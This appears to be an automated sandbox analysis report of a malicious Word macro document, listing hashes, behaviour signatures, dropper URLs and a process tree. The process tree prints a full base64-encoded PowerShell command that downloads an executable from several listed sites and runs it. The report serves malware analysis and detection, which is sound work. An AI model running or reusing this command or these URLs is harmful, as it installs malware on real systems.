Analysis

  • max time kernel
    134s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    31-07-2022 08:19

General

  • Target

    132b80a7e447dfd6893270baa35d4a97fdccf1bf7306fe94f81233d1ea15bc9b.doc

  • Size

    148KB

  • MD5

    ac311f203eee100fdf576e5b5510b761

  • SHA1

    560fd00010580f37b799d559fa7b8b5874101134

  • SHA256

    132b80a7e447dfd6893270baa35d4a97fdccf1bf7306fe94f81233d1ea15bc9b

  • SHA512

    507ecdc21e524ef02b72bfadd42c6a5d452fa7a0b124812a6057184b0f0a6d8c4a28861e926582dc34842de56c0d04f2fe628dfad04aa865369a4537d3526fa5

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.wholesale-towels.com/caapa/2skq2c8brl_ujstqor-9423/

exe.dropper

https://sehatmadu.com/wp-admin/sMsnqVEHO/

exe.dropper

http://wayuansudamai.com/wp-includes/tUhChhCpcN/

exe.dropper

http://vnilla.com/cgi-bin/xdmlv_90ij5qu1-86492/

exe.dropper

http://vcontenidos.com/wp-admin/nzxnfyy9_x7u5tyux4w-71288/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\132b80a7e447dfd6893270baa35d4a97fdccf1bf7306fe94f81233d1ea15bc9b.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:560
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -e JABpADkASQA5AGwATQBJAD0AJwB2ADQANgBIAFcAcwA1ACcAOwAkAHoAOQBLADAAUwBNACAAPQAgACcAOQA4ADUAJwA7ACQATQB1AHoAdAA4AFUAaQA9ACcAegBBAHIAVgBrAGYAJwA7ACQAVQA0AEkASwA1AEQAdABVAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB6ADkASwAwAFMATQArACcALgBlAHgAZQAnADsAJABpAGIAUwA4AEIAMABuAD0AJwBGAEkAbABQAFIAXwBFACcAOwAkAGMARgBBAFMAcwBZAEgAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AYABXAGUAQgBgAEMATABpAGAAZQBOAFQAOwAkAGoAMgBjAFEAVwB6AEMAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaABvAGwAZQBzAGEAbABlAC0AdABvAHcAZQBsAHMALgBjAG8AbQAvAGMAYQBhAHAAYQAvADIAcwBrAHEAMgBjADgAYgByAGwAXwB1AGoAcwB0AHEAbwByAC0AOQA0ADIAMwAvAEAAaAB0AHQAcABzADoALwAvAHMAZQBoAGEAdABtAGEAZAB1AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBzAE0AcwBuAHEAVgBFAEgATwAvAEAAaAB0AHQAcAA6AC8ALwB3AGEAeQB1AGEAbgBzAHUAZABhAG0AYQBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB0AFUAaABDAGgAaABDAHAAYwBOAC8AQABoAHQAdABwADoALwAvAHYAbgBpAGwAbABhAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AeABkAG0AbAB2AF8AOQAwAGkAagA1AHEAdQAxAC0AOAA2ADQAOQAyAC8AQABoAHQAdABwADoALwAvAHYAYwBvAG4AdABlAG4AaQBkAG8AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbgB6AHgAbgBmAHkAeQA5AF8AeAA3AHUANQB0AHkAdQB4ADQAdwAtADcAMQAyADgAOAAvACcALgBzAFAAbABJAHQAKAAnAEAAJwApADsAJABsAHcATwBNAG8AQwBHAEYAPQAnAEwAaABWAG0AUwBFAE8AJwA7AGYAbwByAGUAYQBjAGgAKAAkAHoAXwBpAG8AOQBwACAAaQBuACAAJABqADIAYwBRAFcAegBDACkAewB0AHIAeQB7ACQAYwBGAEEAUwBzAFkASAAuAEQATwBXAG4AbABPAGEAZABmAGkAbABlACgAJAB6AF8AaQBvADkAcAAsACAAJABVADQASQBLADUARAB0AFUAKQA7ACQAWQBOAHYASwA2AGkATwBhAD0AJwBsAEEAbgBqAHcAegBRAFoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABVADQASQBLADUARAB0AFUAKQAuAEwAZQBOAGcAVABIACAALQBnAGUAIAAyADkANQAxADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAFIAVAAoACQAVQA0AEkASwA1AEQAdABVACkAOwAkAHIAOABEAE0AbQA3AD0AJwBQAEwARABiAEgAUwBrACcAOwBiAHIAZQBhAGsAOwAkAFEAdABhAG4AbQBSAE0APQAnAHcAagAxAEIAcAB2AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBzADAAUwBpAGMANAA9ACcAaQBqAGoAUQBMAHoAbgAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1360

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/560-79-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/560-54-0x0000000072AD1000-0x0000000072AD4000-memory.dmp

      Filesize

      12KB

    • memory/560-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/560-57-0x0000000076681000-0x0000000076683000-memory.dmp

      Filesize

      8KB

    • memory/560-58-0x000000007153D000-0x0000000071548000-memory.dmp

      Filesize

      44KB

    • memory/560-80-0x000000007153D000-0x0000000071548000-memory.dmp

      Filesize

      44KB

    • memory/560-55-0x0000000070551000-0x0000000070553000-memory.dmp

      Filesize

      8KB

    • memory/560-63-0x0000000006675000-0x0000000006679000-memory.dmp

      Filesize

      16KB

    • memory/560-67-0x0000000006675000-0x0000000006679000-memory.dmp

      Filesize

      16KB

    • memory/560-68-0x0000000006675000-0x0000000006679000-memory.dmp

      Filesize

      16KB

    • memory/560-69-0x0000000006675000-0x0000000006679000-memory.dmp

      Filesize

      16KB

    • memory/560-64-0x0000000006675000-0x0000000006679000-memory.dmp

      Filesize

      16KB

    • memory/560-62-0x0000000006675000-0x0000000006679000-memory.dmp

      Filesize

      16KB

    • memory/560-61-0x0000000006675000-0x0000000006679000-memory.dmp

      Filesize

      16KB

    • memory/1360-75-0x0000000002824000-0x0000000002827000-memory.dmp

      Filesize

      12KB

    • memory/1360-72-0x000007FEF37A0000-0x000007FEF42FD000-memory.dmp

      Filesize

      11.4MB

    • memory/1360-73-0x0000000002824000-0x0000000002827000-memory.dmp

      Filesize

      12KB

    • memory/1360-74-0x000000000282B000-0x000000000284A000-memory.dmp

      Filesize

      124KB

    • memory/1360-71-0x000007FEF4300000-0x000007FEF4D23000-memory.dmp

      Filesize

      10.1MB

    • memory/1360-76-0x000000000282B000-0x000000000284A000-memory.dmp

      Filesize

      124KB

    • memory/1360-77-0x0000000002824000-0x0000000002827000-memory.dmp

      Filesize

      12KB

    • memory/1360-78-0x000000000282B000-0x000000000284A000-memory.dmp

      Filesize

      124KB

    • memory/2016-60-0x000007FEFC0D1000-0x000007FEFC0D3000-memory.dmp

      Filesize

      8KB